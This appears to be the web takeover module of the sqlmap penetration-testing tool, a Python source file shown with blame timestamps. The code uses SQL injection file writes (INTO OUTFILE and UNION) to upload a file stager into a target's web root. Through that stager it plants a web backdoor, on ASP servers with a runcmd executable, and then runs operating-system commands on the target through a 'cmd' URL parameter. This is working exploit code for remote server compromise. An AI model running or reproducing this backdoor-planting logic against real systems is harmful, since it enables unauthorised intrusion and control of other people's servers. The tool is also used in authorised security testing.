sqlmap/lib/takeover/web.py

359 lines
14 KiB
Python
Raw Normal View History

#!/usr/bin/env python
"""
2013-01-18 18:07:51 +04:00
Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/)
2010-10-15 03:18:29 +04:00
See the file 'doc/COPYING' for copying permission
"""
import os
2010-02-25 02:40:56 +03:00
import posixpath
import re
import StringIO
from tempfile import mkstemp
2010-01-28 19:56:00 +03:00
from extra.cloak.cloak import decloak
from lib.core.agent import agent
2012-07-13 13:23:21 +04:00
from lib.core.common import arrayizeValue
from lib.core.common import Backend
2010-11-24 14:38:27 +03:00
from lib.core.common import extractRegexResult
from lib.core.common import getDirs
from lib.core.common import getDocRoot
2012-10-29 13:48:49 +04:00
from lib.core.common import getPublicTypeMembers
from lib.core.common import getSQLSnippet
2012-10-30 03:37:43 +04:00
from lib.core.common import getUnicode
from lib.core.common import ntToPosixSlashes
2010-12-15 15:50:56 +03:00
from lib.core.common import isTechniqueAvailable
from lib.core.common import isWindowsDriveLetterPath
from lib.core.common import normalizePath
from lib.core.common import posixToNtSlashes
from lib.core.common import randomInt
2010-02-25 13:33:41 +03:00
from lib.core.common import randomStr
from lib.core.common import readInput
2012-07-13 12:35:22 +04:00
from lib.core.common import singleTimeWarnMessage
from lib.core.convert import hexencode
2012-10-30 04:26:19 +04:00
from lib.core.convert import utf8encode
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import paths
from lib.core.enums import DBMS
from lib.core.enums import OS
2011-02-02 16:34:09 +03:00
from lib.core.enums import PAYLOAD
2012-10-29 13:48:49 +04:00
from lib.core.enums import WEB_API
2013-03-19 22:24:14 +04:00
from lib.core.settings import BACKDOOR_RUN_CMD_TIMEOUT
2012-10-29 13:48:49 +04:00
from lib.core.settings import EVENTVALIDATION_REGEX
from lib.core.settings import VIEWSTATE_REGEX
from lib.request.connect import Connect as Request
class Web:
"""
This class defines web-oriented OS takeover functionalities for
plugins.
"""
def __init__(self):
2011-04-30 17:20:05 +04:00
self.webApi = None
self.webBaseUrl = None
self.webBackdoorUrl = None
self.webBackdoorFilePath = None
2011-04-30 17:20:05 +04:00
self.webStagerUrl = None
self.webStagerFilePath = None
2011-04-30 17:20:05 +04:00
self.webDirectory = None
2010-01-14 17:33:08 +03:00
def webBackdoorRunCmd(self, cmd):
if self.webBackdoorUrl is None:
return
output = None
if not cmd:
cmd = conf.osCmd
2011-04-30 17:20:05 +04:00
cmdUrl = "%s?cmd=%s" % (self.webBackdoorUrl, cmd)
2013-03-19 22:24:14 +04:00
page, _, _ = Request.getPage(url=cmdUrl, direct=True, silent=True, timeout=BACKDOOR_RUN_CMD_TIMEOUT)
if page is not None:
2010-01-14 17:33:08 +03:00
output = re.search("<pre>(.+?)</pre>", page, re.I | re.S)
if output:
2010-01-14 17:33:08 +03:00
output = output.group(1)
return output
def webUpload(self, destFileName, directory, stream=None, content=None, filepath=None):
if filepath is not None:
if filepath.endswith('_'):
content = decloak(filepath) # cloaked file
else:
with open(filepath, "rb") as f:
content = f.read()
if content is not None:
stream = StringIO.StringIO(content) # string content
return self._webFileStreamUpload(stream, destFileName, directory)
2010-01-28 20:07:34 +03:00
def _webFileStreamUpload(self, stream, destFileName, directory):
2013-01-10 16:18:44 +04:00
stream.seek(0) # Rewind
try:
setattr(stream, "name", destFileName)
except TypeError:
pass
2012-10-29 13:48:49 +04:00
if self.webApi in getPublicTypeMembers(WEB_API, True):
multipartParams = {
"upload": "1",
2010-01-27 16:59:25 +03:00
"file": stream,
"uploadDir": directory,
}
2012-10-29 13:48:49 +04:00
if self.webApi == WEB_API.ASPX:
multipartParams['__EVENTVALIDATION'] = kb.data.__EVENTVALIDATION
multipartParams['__VIEWSTATE'] = kb.data.__VIEWSTATE
2010-11-24 14:38:27 +03:00
2010-10-18 01:06:52 +04:00
page = Request.getPage(url=self.webStagerUrl, multipart=multipartParams, raise404=False)
2010-01-28 20:07:34 +03:00
if "File uploaded" not in page:
warnMsg = "unable to upload the file through the web file "
warnMsg += "stager to '%s'" % directory
logger.warn(warnMsg)
2010-02-04 13:10:41 +03:00
return False
else:
return True
else:
2013-05-21 00:18:12 +04:00
logger.error("sqlmap hasn't got a web backdoor nor a web file stager for %s" % self.webApi)
return False
def _webFileInject(self, fileContent, fileName, directory):
outFile = posixpath.normpath("%s/%s" % (directory, fileName))
2012-10-30 03:37:43 +04:00
uplQuery = getUnicode(fileContent).replace("WRITABLE_DIR", directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)
query = ""
2010-12-15 15:50:56 +03:00
if isTechniqueAvailable(kb.technique):
where = kb.injection.data[kb.technique].where
2011-02-02 16:34:09 +03:00
if where == PAYLOAD.WHERE.NEGATIVE:
randInt = randomInt()
query += "OR %d=%d " % (randInt, randInt)
query += getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=outFile, HEXSTRING=hexencode(uplQuery))
query = agent.prefixQuery(query)
query = agent.suffixQuery(query)
payload = agent.payload(newValue=query)
page = Request.queryPage(payload)
2012-07-06 19:18:22 +04:00
2010-02-16 16:24:09 +03:00
return page
def webInit(self):
"""
This method is used to write a web backdoor (agent) on a writable
remote directory within the web server document root.
"""
2010-10-18 01:06:52 +04:00
if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None:
return
2010-01-28 13:27:47 +03:00
self.checkDbmsOs()
default = None
2012-10-29 13:48:49 +04:00
choices = list(getPublicTypeMembers(WEB_API, True))
for ext in choices:
if conf.url.endswith(ext):
default = ext
break
if not default:
default = WEB_API.ASP if Backend.isOs(OS.WINDOWS) else WEB_API.PHP
message = "which web application language does the web server "
message += "support?\n"
for count in xrange(len(choices)):
ext = choices[count]
message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else ""))
2010-12-14 00:34:35 +03:00
if default == ext:
default = count + 1
message = message[:-1]
while True:
choice = readInput(message, default=str(default))
if not choice.isdigit():
logger.warn("invalid value, only digits are allowed")
elif int(choice) < 1 or int(choice) > len(choices):
logger.warn("invalid value, it must be between 1 and %d" % len(choices))
else:
self.webApi = choices[int(choice) - 1]
break
kb.docRoot = arrayizeValue(getDocRoot())
2012-07-13 13:23:21 +04:00
directories = sorted(getDirs())
backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi))
2010-10-18 01:06:52 +04:00
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
2011-01-23 23:47:06 +03:00
success = False
for docRoot in kb.docRoot:
2011-01-23 23:47:06 +03:00
if success:
break
2012-07-13 12:35:22 +04:00
for directory in directories:
uriPath = ""
2012-07-13 13:23:21 +04:00
if not all(isinstance(_, basestring) for _ in (docRoot, directory)):
2011-01-23 23:47:06 +03:00
continue
2011-01-23 23:47:06 +03:00
directory = ntToPosixSlashes(normalizePath(directory)).replace("//", "/").rstrip('/')
docRoot = ntToPosixSlashes(normalizePath(docRoot)).replace("//", "/").rstrip('/')
# '' or '/' -> 'docRoot'
if not directory:
localPath = docRoot
uriPath = '/'
# 'dir1/dir2/dir3' -> 'docRoot/dir1/dir2/dir3'
elif not isWindowsDriveLetterPath(directory) and directory[0] != '/':
localPath = "%s/%s" % (docRoot, directory)
uriPath = "/%s" % directory
else:
localPath = directory
uriPath = directory[2:] if isWindowsDriveLetterPath(directory) else directory
2011-01-24 00:20:16 +03:00
if docRoot in uriPath:
uriPath = uriPath.replace(docRoot, "/")
uriPath = "/%s" % normalizePath(uriPath)
else:
webDir = extractRegexResult(r"//[^/]+?/(?P<result>.*)/.", conf.url)
2011-01-24 00:20:16 +03:00
if webDir:
uriPath = "/%s" % webDir
else:
continue
localPath = posixpath.normpath(localPath).rstrip('/')
uriPath = posixpath.normpath(uriPath).rstrip('/')
2011-01-23 23:47:06 +03:00
2012-12-19 13:38:03 +04:00
# Upload the file stager with the LIMIT 0, 1 INTO OUTFILE technique
infoMsg = "trying to upload the file stager on '%s' " % localPath
infoMsg += "via LIMIT INTO OUTFILE technique"
logger.info(infoMsg)
self._webFileInject(stagerContent, stagerName, localPath)
2011-01-23 23:47:06 +03:00
self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, uriPath)
self.webStagerUrl = "%s/%s" % (self.webBaseUrl, stagerName)
self.webStagerFilePath = ntToPosixSlashes(normalizePath("%s/%s" % (localPath, stagerName))).replace("//", "/").rstrip('/')
2011-01-23 23:47:06 +03:00
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
2011-09-23 22:29:45 +04:00
uplPage = uplPage or ""
2012-12-19 13:38:03 +04:00
# Fall-back to UNION queries file upload technique
2011-01-23 23:47:06 +03:00
if "sqlmap file uploader" not in uplPage:
2012-07-13 12:35:22 +04:00
warnMsg = "unable to upload the file stager "
warnMsg += "on '%s'" % localPath
singleTimeWarnMessage(warnMsg)
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
infoMsg = "trying to upload the file stager on '%s' " % localPath
infoMsg += "via UNION technique"
logger.info(infoMsg)
handle, filename = mkstemp()
2012-12-19 05:11:18 +04:00
os.fdopen(handle).close() # close low level handle (causing problems later)
with open(filename, "w+") as f:
_ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
_ = _.replace("WRITABLE_DIR", localPath.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else localPath)
2012-10-30 04:26:19 +04:00
f.write(utf8encode(_))
2013-01-23 06:10:38 +04:00
self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" not in uplPage:
continue
2012-07-21 19:51:01 +04:00
else:
continue
if "<%" in uplPage or "<?" in uplPage:
warnMsg = "file stager uploaded on '%s', " % localPath
warnMsg += "but not dynamically interpreted"
2011-01-23 23:47:06 +03:00
logger.warn(warnMsg)
continue
2012-10-29 13:48:49 +04:00
elif self.webApi == WEB_API.ASPX:
kb.data.__EVENTVALIDATION = extractRegexResult(EVENTVALIDATION_REGEX, uplPage)
kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage)
2011-04-30 17:20:05 +04:00
infoMsg = "the file stager has been successfully uploaded "
infoMsg += "on '%s' - %s" % (localPath, self.webStagerUrl)
2011-01-23 23:47:06 +03:00
logger.info(infoMsg)
2012-10-29 14:08:02 +04:00
if self.webApi == WEB_API.ASP:
2011-01-23 23:47:06 +03:00
match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage)
2011-01-23 23:47:06 +03:00
if match:
backdoorDirectory = match.group(1)
else:
continue
2010-02-25 17:06:44 +03:00
_ = "tmpe%s.exe" % randomStr(lowercase=True)
if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", _)):
self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'))
self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName)
2011-01-23 23:47:06 +03:00
self.webDirectory = backdoorDirectory
else:
continue
2010-02-25 17:06:44 +03:00
else:
if not self.webUpload(backdoorName, posixToNtSlashes(localPath) if Backend.isOs(OS.WINDOWS) else localPath, content=backdoorContent):
2011-04-30 17:20:05 +04:00
warnMsg = "backdoor has not been successfully uploaded "
warnMsg += "through the file stager possibly because "
warnMsg += "the user running the web server process "
warnMsg += "has not write privileges over the folder "
warnMsg += "where the user running the DBMS process "
warnMsg += "was able to upload the file stager or "
warnMsg += "because the DBMS and web server sit on "
warnMsg += "different servers"
2011-01-23 23:47:06 +03:00
logger.warn(warnMsg)
2010-02-25 17:06:44 +03:00
2011-04-30 17:20:05 +04:00
message = "do you want to try the same method used "
message += "for the file stager? [Y/n] "
getOutput = readInput(message, default="Y")
2010-02-25 17:06:44 +03:00
2011-01-23 23:47:06 +03:00
if getOutput in ("y", "Y"):
self._webFileInject(backdoorContent, backdoorName, localPath)
2011-01-23 23:47:06 +03:00
else:
continue
2010-02-25 17:06:44 +03:00
self.webBackdoorUrl = "%s/%s" % (self.webBaseUrl, backdoorName)
2011-01-23 23:47:06 +03:00
self.webDirectory = localPath
2012-07-13 16:25:39 +04:00
self.webBackdoorFilePath = ntToPosixSlashes(normalizePath("%s/%s" % (localPath, backdoorName))).replace("//", "/").rstrip('/')
testStr = "command execution test"
output = self.webBackdoorRunCmd("echo %s" % testStr)
2012-07-21 19:51:01 +04:00
if output and testStr in output:
infoMsg = "the backdoor has been successfully "
else:
infoMsg = "the backdoor has probably been successfully "
2010-02-25 17:06:44 +03:00
infoMsg += "uploaded on '%s' - " % self.webDirectory
infoMsg += self.webBackdoorUrl
2011-01-23 23:47:06 +03:00
logger.info(infoMsg)
2011-01-23 23:47:06 +03:00
success = True
2011-01-23 23:47:06 +03:00
break